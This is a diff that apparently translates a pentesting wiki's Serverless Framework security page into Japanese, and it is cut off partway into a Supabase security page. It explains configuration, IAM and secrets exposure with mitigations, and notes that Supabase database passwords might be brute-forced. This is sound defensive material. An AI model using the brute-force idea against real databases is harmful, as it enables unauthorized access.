-Stage and Region - -The stage represents different environments (e.g., development, staging, production) where your service can be deployed. It allows for environment-specific configurations and deployments. +ステージとリージョン +ステージは、サービスがデプロイできる異なる環境（例：開発、ステージング、本番）を表します。これは、環境固有の設定とデプロイを可能にします。 ```yaml provider: - stage: dev +stage: dev ``` - -The region specifies the geographical region where your resources will be deployed. It's important for latency, compliance, and availability considerations. - +地域は、リソースが展開される地理的地域を指定します。これは、レイテンシ、コンプライアンス、および可用性の考慮にとって重要です。 ```yaml provider: - region: us-west-2 +region: us-west-2 ``` -
-Plugins - -**Plugins** extend the functionality of the Serverless Framework by adding new features or integrating with other tools and services. They are defined under the `plugins` section and installed via npm. +プラグイン +**プラグイン** は、Serverless Frameworkの機能を拡張し、新しい機能を追加したり、他のツールやサービスと統合したりします。これらは `plugins` セクションの下で定義され、npmを介してインストールされます。 ```yaml plugins: - - serverless-offline - - serverless-webpack +- serverless-offline +- serverless-webpack ``` -
-Layers - -**Layers** allow you to package and manage shared code or dependencies separately from your functions. This promotes reusability and reduces deployment package sizes. They are defined under the `layers` section and referenced by functions. +レイヤー +**レイヤー** は、共有コードや依存関係を関数とは別にパッケージ化して管理することを可能にします。これにより再利用性が促進され、デプロイメントパッケージのサイズが削減されます。レイヤーは `layers` セクションで定義され、関数によって参照されます。 ```yaml layers: - commonLibs: - path: layer-common +commonLibs: +path: layer-common functions: - hello: - handler: handler.hello - layers: - - { Ref: CommonLibsLambdaLayer } +hello: +handler: handler.hello +layers: +- { Ref: CommonLibsLambdaLayer } ``` -
-Variables and Custom Variables +変数とカスタム変数 -**Variables** enable dynamic configuration by allowing the use of placeholders that are resolved at deployment time. +**変数** は、デプロイ時に解決されるプレースホルダーを使用することで動的な構成を可能にします。 -- **Syntax:** `${variable}` syntax can reference environment variables, file contents, or other configuration parameters. - - ```yaml - functions: - hello: - handler: handler.hello - environment: - TABLE_NAME: ${self:custom.tableName} - ``` - -* **Custom Variables:** The `custom` section is used to define user-specific variables and configurations that can be reused throughout the `serverless.yml`. - - ```yaml - custom: - tableName: my-dynamodb-table - stage: ${opt:stage, 'dev'} - ``` - -
- -
- -Outputs - -**Outputs** define the values that are returned after a service is deployed, such as resource ARNs, endpoints, or other useful information. They are specified under the `outputs` section and often used to expose information to other services or for easy access post-deployment. +- **構文:** `${variable}` 構文は、環境変数、ファイルの内容、または他の構成パラメータを参照できます。 ```yaml -¡outputs: - ApiEndpoint: - Description: "API Gateway endpoint URL" - Value: - Fn::Join: - - "" - - - "https://" - - Ref: ApiGatewayRestApi - - ".execute-api." - - Ref: AWS::Region - - ".amazonaws.com/" - - Ref: AWS::Stage -``` - -
- -
- -IAM Roles and Permissions - -**IAM Roles and Permissions** define the security credentials and access rights for your functions and other resources. They are managed under the `provider` or individual function settings to specify necessary permissions. - -```yaml -provider: - [...] - iam: - role: - statements: - - Effect: 'Allow' - Action: - - 'dynamodb:PutItem' - - 'dynamodb:Get*' - - 'dynamodb:Scan*' - - 'dynamodb:UpdateItem' - - 'dynamodb:DeleteItem' - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} -``` - -
- -
- -Environment Variables - -**Variables** allow you to pass configuration settings and secrets to your functions without hardcoding them. They are defined under the `environment` section for either the provider or individual functions. - -```yaml -provider: - environment: - STAGE: ${self:provider.stage} functions: - hello: - handler: handler.hello - environment: - TABLE_NAME: ${self:custom.tableName} +hello: +handler: handler.hello +environment: +TABLE_NAME: ${self:custom.tableName} ``` -
- -
- -Dependencies - -**Dependencies** manage the external libraries and modules your functions require. They typically handled via package managers like npm or pip, and bundled with your deployment package using tools or plugins like `serverless-webpack`. - -```yaml -plugins: - - serverless-webpack -``` - -
- -
- -Hooks - -**Hooks** allow you to run custom scripts or commands at specific points in the deployment lifecycle. They are defined using plugins or within the `serverless.yml` to perform actions before or after deployments. +* **カスタム変数:** `custom` セクションは、`serverless.yml` 全体で再利用できるユーザー固有の変数と構成を定義するために使用されます。 ```yaml custom: - hooks: - before:deploy:deploy: echo "Starting deployment..." +tableName: my-dynamodb-table +stage: ${opt:stage, 'dev'} ```
-### Tutorial +
-This is a summary of the official tutorial [**from the docs**](https://www.serverless.com/framework/docs/tutorial): +出力 -1. Create an AWS account (Serverless.com start in AWS infrastructure) -2. Create an account in serverless.com -3. Create an app: +**出力** は、サービスがデプロイされた後に返される値を定義します。これにはリソースARN、エンドポイント、または他の有用な情報が含まれます。これらは `outputs` セクションの下に指定され、他のサービスに情報を公開したり、デプロイ後の簡単なアクセスのために使用されることがよくあります。 +```yaml +¡outputs: +ApiEndpoint: +Description: "API Gateway endpoint URL" +Value: +Fn::Join: +- "" +- - "https://" +- Ref: ApiGatewayRestApi +- ".execute-api." +- Ref: AWS::Region +- ".amazonaws.com/" +- Ref: AWS::Stage +``` +
+
+ +IAMロールと権限 + +**IAMロールと権限**は、あなたの関数やその他のリソースのためのセキュリティ資格情報とアクセス権を定義します。必要な権限を指定するために、`provider`または個々の関数設定の下で管理されます。 +```yaml +provider: +[...] +iam: +role: +statements: +- Effect: 'Allow' +Action: +- 'dynamodb:PutItem' +- 'dynamodb:Get*' +- 'dynamodb:Scan*' +- 'dynamodb:UpdateItem' +- 'dynamodb:DeleteItem' +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} +``` +
+ +
+ +環境変数 + +**変数**は、設定や秘密を関数にハードコーディングせずに渡すことを可能にします。これらは、プロバイダーまたは個々の関数の`environment`セクションの下で定義されます。 +```yaml +provider: +environment: +STAGE: ${self:provider.stage} +functions: +hello: +handler: handler.hello +environment: +TABLE_NAME: ${self:custom.tableName} +``` +
+ +
+ +依存関係 + +**依存関係** は、あなたの関数が必要とする外部ライブラリやモジュールを管理します。通常、npmやpipのようなパッケージマネージャーを介して処理され、`serverless-webpack`のようなツールやプラグインを使用してデプロイメントパッケージにバンドルされます。 +```yaml +plugins: +- serverless-webpack +``` +
+ +
+ +フック + +**フック** は、デプロイメントライフサイクルの特定のポイントでカスタムスクリプトやコマンドを実行することを可能にします。これらは、プラグインを使用するか、`serverless.yml`内で定義され、デプロイメントの前後にアクションを実行します。 +```yaml +custom: +hooks: +before:deploy:deploy: echo "Starting deployment..." +``` +
+ +### チュートリアル + +これは公式チュートリアルの要約です [**ドキュメントから**](https://www.serverless.com/framework/docs/tutorial): + +1. AWSアカウントを作成する（Serverless.comはAWSインフラストラクチャで開始します） +2. serverless.comにアカウントを作成する +3. アプリを作成する: ```bash # Create temp folder for the tutorial mkdir /tmp/serverless-tutorial @@ -313,26 +284,22 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` - -This should have created an **app** called `tutorialapp` that you can check in [serverless.com](serverless.com-security.md) and a folder called `Tutorial` with the file **`handler.js`** containing some JS code with a `helloworld` code and the file **`serverless.yml`** declaring that function: +これは、[serverless.com](serverless.com-security.md) で確認できる **app** `tutorialapp` を作成し、`helloworld` コードを含む JS コードがある **`handler.js`** ファイルと、その関数を宣言する **`serverless.yml`** ファイルを含む `Tutorial` というフォルダーを作成するはずです。 {{#tabs }} {{#tab name="handler.js" }} - ```javascript exports.hello = async (event) => { - return { - statusCode: 200, - body: JSON.stringify({ - message: "Go Serverless v4! Your function executed successfully!", - }), - } +return { +statusCode: 200, +body: JSON.stringify({ +message: "Go Serverless v4! Your function executed successfully!", +}), +} } ``` - {{#endtab }} {{#tab name="serverless.yml" }} - ```yaml # "org" ensures this Service is used with the correct Serverless Framework Access Key. org: testing12342 @@ -342,130 +309,122 @@ app: tutorialapp service: Tutorial provider: - name: aws - runtime: nodejs20.x +name: aws +runtime: nodejs20.x functions: - hello: - handler: handler.hello - events: - - httpApi: - path: / - method: get +hello: +handler: handler.hello +events: +- httpApi: +path: / +method: get ``` - {{#endtab }} {{#endtabs }} -4. Create an AWS provider, going in the **dashboard** in `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. - 1. To give `serverless.com` access to AWS It will ask to run a cloudformation stack using this config file (at the time of this writing): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) - 2. This template generates a role called **`SFRole-`** with **`arn:aws:iam::aws:policy/AdministratorAccess`** over the account with a Trust Identity that allows `Serverless.com` AWS account to access the role. +4. AWSプロバイダーを作成します。`https://app.serverless.com//settings/providers?providerId=new&provider=aws`の**ダッシュボード**に移動します。 +1. `serverless.com`にAWSへのアクセスを許可するために、次の構成ファイルを使用してcloudformationスタックを実行するように求められます（この執筆時点でのもの）： [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) +2. このテンプレートは、**`SFRole-`**というロールを生成し、**`arn:aws:iam::aws:policy/AdministratorAccess`**を持つアカウントに対して、`Serverless.com` AWSアカウントがロールにアクセスできるようにするTrust Identityを持っています。
Yaml roleTemplate - ```yaml Description: This stack creates an IAM role that can be used by Serverless Framework for use in deployments. Resources: - SFRole: - Type: AWS::IAM::Role - Properties: - AssumeRolePolicyDocument: - Version: "2012-10-17" - Statement: - - Effect: Allow - Principal: - AWS: arn:aws:iam::486128539022:root - Action: - - sts:AssumeRole - Condition: - StringEquals: - sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}" - Path: / - RoleName: !Ref RoleName - ManagedPolicyArns: - - arn:aws:iam::aws:policy/AdministratorAccess - ReporterFunction: - Type: Custom::ServerlessFrameworkReporter - Properties: - ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec" - OrgUid: !Ref OrgUid - RoleArn: !GetAtt SFRole.Arn - Alias: !Ref Alias +SFRole: +Type: AWS::IAM::Role +Properties: +AssumeRolePolicyDocument: +Version: "2012-10-17" +Statement: +- Effect: Allow +Principal: +AWS: arn:aws:iam::486128539022:root +Action: +- sts:AssumeRole +Condition: +StringEquals: +sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}" +Path: / +RoleName: !Ref RoleName +ManagedPolicyArns: +- arn:aws:iam::aws:policy/AdministratorAccess +ReporterFunction: +Type: Custom::ServerlessFrameworkReporter +Properties: +ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec" +OrgUid: !Ref OrgUid +RoleArn: !GetAtt SFRole.Arn +Alias: !Ref Alias Outputs: - SFRoleArn: - Description: "ARN for the IAM Role used by Serverless Framework" - Value: !GetAtt SFRole.Arn +SFRoleArn: +Description: "ARN for the IAM Role used by Serverless Framework" +Value: !GetAtt SFRole.Arn Parameters: - OrgUid: - Description: Serverless Framework Org Uid - Type: String - Alias: - Description: Serverless Framework Provider Alias - Type: String - RoleName: - Description: Serverless Framework Role Name - Type: String +OrgUid: +Description: Serverless Framework Org Uid +Type: String +Alias: +Description: Serverless Framework Provider Alias +Type: String +RoleName: +Description: Serverless Framework Role Name +Type: String ``` -
-Trust Relationship - +信頼関係 ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::486128539022:root" - }, - "Action": "sts:AssumeRole", - "Condition": { - "StringEquals": { - "sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::486128539022:root" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb" +} +} +} +] } ``` -
-5. The tutorial asks to create the file `createCustomer.js` which will basically create a new API endpoint handled by the new JS file and asks to modify the `serverless.yml` file to make it generate a **new DynamoDB table**, define an **environment variable**, the role that will be using the generated lambdas. +5. チュートリアルでは、基本的に新しいAPIエンドポイントを新しいJSファイルで処理する`createCustomer.js`というファイルを作成するように求められ、**新しいDynamoDBテーブル**を生成し、**環境変数**を定義し、生成されたラムダを使用するロールを設定するために`serverless.yml`ファイルを修正するように求められています。 {{#tabs }} {{#tab name="createCustomer.js" }} - ```javascript "use strict" const AWS = require("aws-sdk") module.exports.createCustomer = async (event) => { - const body = JSON.parse(Buffer.from(event.body, "base64").toString()) - const dynamoDb = new AWS.DynamoDB.DocumentClient() - const putParams = { - TableName: process.env.DYNAMODB_CUSTOMER_TABLE, - Item: { - primary_key: body.name, - email: body.email, - }, - } - await dynamoDb.put(putParams).promise() - return { - statusCode: 201, - } +const body = JSON.parse(Buffer.from(event.body, "base64").toString()) +const dynamoDb = new AWS.DynamoDB.DocumentClient() +const putParams = { +TableName: process.env.DYNAMODB_CUSTOMER_TABLE, +Item: { +primary_key: body.name, +email: body.email, +}, +} +await dynamoDb.put(putParams).promise() +return { +statusCode: 201, +} } ``` - {{#endtab }} {{#tab name="serverless.yml" }} - ```yaml # "org" ensures this Service is used with the correct Serverless Framework Access Key. org: testing12342 @@ -475,147 +434,142 @@ app: tutorialapp service: Tutorial provider: - name: aws - runtime: nodejs20.x - environment: - DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage} - iam: - role: - statements: - - Effect: "Allow" - Action: - - "dynamodb:PutItem" - - "dynamodb:Get*" - - "dynamodb:Scan*" - - "dynamodb:UpdateItem" - - "dynamodb:DeleteItem" - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} +name: aws +runtime: nodejs20.x +environment: +DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage} +iam: +role: +statements: +- Effect: "Allow" +Action: +- "dynamodb:PutItem" +- "dynamodb:Get*" +- "dynamodb:Scan*" +- "dynamodb:UpdateItem" +- "dynamodb:DeleteItem" +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} functions: - hello: - handler: handler.hello - events: - - httpApi: - path: / - method: get - createCustomer: - handler: createCustomer.createCustomer - events: - - httpApi: - path: / - method: post +hello: +handler: handler.hello +events: +- httpApi: +path: / +method: get +createCustomer: +handler: createCustomer.createCustomer +events: +- httpApi: +path: / +method: post resources: - Resources: - CustomerTable: - Type: AWS::DynamoDB::Table - Properties: - AttributeDefinitions: - - AttributeName: primary_key - AttributeType: S - BillingMode: PAY_PER_REQUEST - KeySchema: - - AttributeName: primary_key - KeyType: HASH - TableName: ${self:service}-customerTable-${sls:stage} +Resources: +CustomerTable: +Type: AWS::DynamoDB::Table +Properties: +AttributeDefinitions: +- AttributeName: primary_key +AttributeType: S +BillingMode: PAY_PER_REQUEST +KeySchema: +- AttributeName: primary_key +KeyType: HASH +TableName: ${self:service}-customerTable-${sls:stage} ``` - {{#endtab }} {{#endtabs }} -6. Deploy it running **`serverless deploy`** - 1. The deployment will be performed via a CloudFormation Stack - 2. Note that the **lambdas are exposed via API gateway** and not via direct URLs -7. **Test it** - 1. The previous step will print the **URLs** where your API endpoints lambda functions have been deployed +6. **`serverless deploy`**を実行してデプロイします +1. デプロイメントはCloudFormationスタックを介して行われます +2. **ラムダはAPIゲートウェイを介して公開されており**、直接のURLではありません +7. **テストします** +1. 前のステップでは、APIエンドポイントラムダ関数がデプロイされた**URL**が表示されます -## Security Review of Serverless.com +## Serverless.comのセキュリティレビュー -### **Misconfigured IAM Roles and Permissions** +### **誤設定されたIAMロールと権限** -Overly permissive IAM roles can grant unauthorized access to cloud resources, leading to data breaches or resource manipulation. +過度に許可されたIAMロールは、クラウドリソースへの不正アクセスを許可し、データ漏洩やリソースの操作につながる可能性があります。 -When no permissions are specified for the a Lambda function, a role with permissions only to generate logs will be created, like: +ラムダ関数に対して権限が指定されていない場合、ログを生成するための権限のみを持つロールが作成されます。例えば：
-Minimum lambda permissions - +最小限のラムダ権限 ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Action": [ - "logs:CreateLogStream", - "logs:CreateLogGroup", - "logs:TagResource" - ], - "Resource": [ - "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*" - ], - "Effect": "Allow" - }, - { - "Action": ["logs:PutLogEvents"], - "Resource": [ - "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*" - ], - "Effect": "Allow" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Action": [ +"logs:CreateLogStream", +"logs:CreateLogGroup", +"logs:TagResource" +], +"Resource": [ +"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*" +], +"Effect": "Allow" +}, +{ +"Action": ["logs:PutLogEvents"], +"Resource": [ +"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*" +], +"Effect": "Allow" +} +] } ``` -
-#### **Mitigation Strategies** +#### **緩和戦略** -- **Principle of Least Privilege:** Assign only necessary permissions to each function. - - ```yaml - provider: - [...] - iam: - role: - statements: - - Effect: 'Allow' - Action: - - 'dynamodb:PutItem' - - 'dynamodb:Get*' - - 'dynamodb:Scan*' - - 'dynamodb:UpdateItem' - - 'dynamodb:DeleteItem' - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} - ``` - -- **Use Separate Roles:** Differentiate roles based on function requirements. - ---- - -### **Insecure Secrets and Configuration Management** - -Storing sensitive information (e.g., API keys, database credentials) directly in **`serverless.yml`** or code can lead to exposure if repositories are compromised. - -The **recommended** way to store environment variables in **`serverless.yml`** file from serverless.com (at the time of this writing) is to use the `ssm` or `s3` providers, which allows to get the **environment values from these sources at deployment time** and **configure** the **lambdas** environment variables with the **text clear of the values**! - -> [!CAUTION] -> Therefore, anyone with permissions to read the lambdas configuration inside AWS will be able to **access all these environment variables in clear text!** - -For example, the following example will use SSM to get an environment variable: +- **最小権限の原則:** 各関数に必要な権限のみを割り当てる。 ```yaml provider: - environment: - DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} +[...] +iam: +role: +statements: +- Effect: 'Allow' +Action: +- 'dynamodb:PutItem' +- 'dynamodb:Get*' +- 'dynamodb:Scan*' +- 'dynamodb:UpdateItem' +- 'dynamodb:DeleteItem' +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} ``` +- **別々のロールを使用:** 関数の要件に基づいてロールを区別する。 + +--- + +### **安全でない秘密情報と構成管理** + +敏感な情報（例：APIキー、データベースの資格情報）を**`serverless.yml`**やコードに直接保存すると、リポジトリが侵害された場合に露出する可能性があります。 + +**推奨される**方法は、serverless.comの**`serverless.yml`**ファイルに環境変数を保存するために、`ssm`または`s3`プロバイダーを使用することです。これにより、**デプロイ時にこれらのソースから環境値を取得し、**lambdas**の環境変数を**値のクリアテキストなしで**構成できます！ + +> [!CAUTION] +> したがって、AWS内のlambdas構成を読み取る権限を持つ人は、**これらの環境変数すべてにクリアテキストでアクセスできるようになります！** + +例えば、以下の例ではSSMを使用して環境変数を取得します： +```yaml +provider: +environment: +DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} +``` And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**. > [!TIP] > The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**. -#### **Mitigation Strategies** +#### **緩和戦略** - **Secrets Manager Integration:** Use services like **AWS Secrets Manager.** - **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data. @@ -623,19 +577,19 @@ And even if this prevents hardcoding the environment variable value in the **`se --- -### **Vulnerable Code and Dependencies** +### **脆弱なコードと依存関係** Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks. -#### **Mitigation Strategies** +#### **緩和戦略** - **Dependency Management:** Regularly update dependencies and scan for vulnerabilities. - ```yaml - plugins: - - serverless-webpack - - serverless-plugin-snyk - ``` +```yaml +plugins: +- serverless-webpack +- serverless-plugin-snyk +``` - **Input Validation:** Implement strict validation and sanitization of all inputs. - **Code Reviews:** Conduct thorough reviews to identify security flaws. @@ -643,18 +597,18 @@ Outdated or insecure dependencies can introduce vulnerabilities, while improper --- -### **Inadequate Logging and Monitoring** +### **不十分なログ記録と監視** Without proper logging and monitoring, malicious activities may go undetected, delaying incident response. -#### **Mitigation Strategies** +#### **緩和戦略** - **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**. - ```yaml - plugins: - - serverless-plugin-datadog - ``` +```yaml +plugins: +- serverless-plugin-datadog +``` - **Enable Detailed Logging:** Capture essential information without exposing sensitive data. - **Set Up Alerts:** Configure alerts for suspicious activities or anomalies. @@ -662,95 +616,95 @@ Without proper logging and monitoring, malicious activities may go undetected, d --- -### **Insecure API Gateway Configurations** +### **不安全なAPIゲートウェイ設定** Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks. -#### **Mitigation Strategies** +#### **緩和戦略** - **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT. - ```yaml - functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - authorizer: aws_iam - ``` +```yaml +functions: +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +authorizer: aws_iam +``` - **Rate Limiting and Throttling:** Prevent abuse by limiting request rates. - ```yaml - provider: - apiGateway: - throttle: - burstLimit: 200 - rateLimit: 100 - ``` +```yaml +provider: +apiGateway: +throttle: +burstLimit: 200 +rateLimit: 100 +``` - **Secure CORS Configuration:** Restrict allowed origins, methods, and headers. - ```yaml - functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - cors: - origin: https://yourdomain.com - headers: - - Content-Type - ``` +```yaml +functions: +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +cors: +origin: https://yourdomain.com +headers: +- Content-Type +``` - **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns. --- -### **Insufficient Function Isolation** +### **不十分な関数の分離** Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions. -#### **Mitigation Strategies** +#### **緩和戦略** - **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation. - **Resource Partitioning:** Use separate databases or storage buckets for different functions. - **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation. - ```yaml - provider: - vpc: - securityGroupIds: - - sg-xxxxxxxx - subnetIds: - - subnet-xxxxxx - ``` +```yaml +provider: +vpc: +securityGroupIds: +- sg-xxxxxxxx +subnetIds: +- subnet-xxxxxx +``` - **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required. --- -### **Inadequate Data Protection** +### **不十分なデータ保護** Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering. -#### **Mitigation Strategies** +#### **緩和戦略** - **Encrypt Data at Rest:** Utilize cloud service encryption features. - ```yaml - resources: - Resources: - MyDynamoDBTable: - Type: AWS::DynamoDB::Table - Properties: - SSESpecification: - SSEEnabled: true - ``` +```yaml +resources: +Resources: +MyDynamoDBTable: +Type: AWS::DynamoDB::Table +Properties: +SSESpecification: +SSEEnabled: true +``` - **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions. - **Secure API Communication:** Enforce encryption protocols and validate certificates. @@ -758,39 +712,39 @@ Unencrypted data at rest or in transit can be exposed, leading to data breaches --- -### **Lack of Proper Error Handling** +### **適切なエラーハンドリングの欠如** Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes. -#### **Mitigation Strategies** +#### **緩和戦略** - **Generic Error Messages:** Avoid exposing internal details in error responses. - ```javascript - javascriptCopy code// Example in Node.js - exports.hello = async (event) => { - try { - // Function logic - } catch (error) { - console.error(error); - return { - statusCode: 500, - body: JSON.stringify({ message: 'Internal Server Error' }), - }; - } - }; - ``` +```javascript +javascriptCopy code// Example in Node.js +exports.hello = async (event) => { +try { +// Function logic +} catch (error) { +console.error(error); +return { +statusCode: 500, +body: JSON.stringify({ message: 'Internal Server Error' }), +}; +} +}; +``` - **Centralized Error Handling:** Manage and sanitize errors consistently across all functions. - **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users. --- -### **Insecure Deployment Practices** +### **不安全なデプロイメントプラクティス** Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations. -#### **Mitigation Strategies** +#### **緩和戦略** - **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits. - **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data. @@ -799,11 +753,11 @@ Exposed deployment configurations or unauthorized access to CI/CD pipelines can --- -### **Vulnerabilities in Plugins and Extensions** +### **プラグインと拡張機能の脆弱性** Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications. -#### **Mitigation Strategies** +#### **緩和戦略** - **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources. - **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface. @@ -812,11 +766,11 @@ Using unvetted or malicious third-party plugins can introduce vulnerabilities in --- -### **Exposure of Sensitive Endpoints** +### **機密エンドポイントの露出** Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations. -#### **Mitigation Strategies** +#### **緩和戦略** - **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources. - **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization. @@ -825,38 +779,34 @@ Publicly accessible functions or unrestricted APIs can be exploited for unauthor --- -### **Excessive Permissions for Team Members and External Collaborators** +### **チームメンバーと外部コラボレーターの過剰な権限** Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats. -#### **Mitigation Strategies** +#### **緩和戦略** - **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks. --- -### **Access Keys and License Keys Security** +### **アクセスキーとライセンスキーのセキュリティ** **Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI. - **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI. - **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`. -#### **Security Risks** +#### **セキュリティリスク** 1. **Exposure Through Code Repositories:** - - Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access. +- Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access. 2. **Insecure Storage:** - - Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage. +- Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage. 3. **Improper Distribution:** - - Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors. +- Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors. 4. **Lack of Rotation:** - - Not regularly rotating keys extends the exposure period if keys are compromised. +- Not regularly rotating keys extends the exposure period if keys are compromised. 5. **Excessive Permissions:** - - Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources. +- Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index 6fa6219f8..e14b58d48 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -2,49 +2,48 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings. +彼らの[**ランディングページ**](https://supabase.com/)によると：SupabaseはオープンソースのFirebaseの代替です。Postgresデータベース、認証、インスタントAPI、エッジ関数、リアルタイムサブスクリプション、ストレージ、ベクトル埋め込みを使用してプロジェクトを開始します。 -### Subdomain +### サブドメイン -Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`** +基本的にプロジェクトが作成されると、ユーザーは次のようなsupabase.coのサブドメインを受け取ります：**`jnanozjdybtpqgcwhdiz.supabase.co`** -## **Database configuration** +## **データベース設定** > [!TIP] -> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/database`** +> **このデータには、`https://supabase.com/dashboard/project//settings/database`のようなリンクからアクセスできます** -This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\ -The password is a **password the user put** previously. +この**データベース**は、いくつかのAWSリージョンにデプロイされ、接続するには次のように接続することができます：`postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres`（これはus-west-1で作成されました）。\ +パスワードは**ユーザーが以前に設定したパスワード**です。 -Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**. +したがって、サブドメインは既知のものであり、ユーザー名として使用され、AWSリージョンは限られているため、**パスワードをブルートフォースする**ことが可能かもしれません。 -This section also contains options to: +このセクションには、次のオプションも含まれています： -- Reset the database password -- Configure connection pooling -- Configure SSL: Reject plan-text connections (by default they are enabled) -- Configure Disk size -- Apply network restrictions and bans +- データベースパスワードのリセット +- 接続プーリングの設定 +- 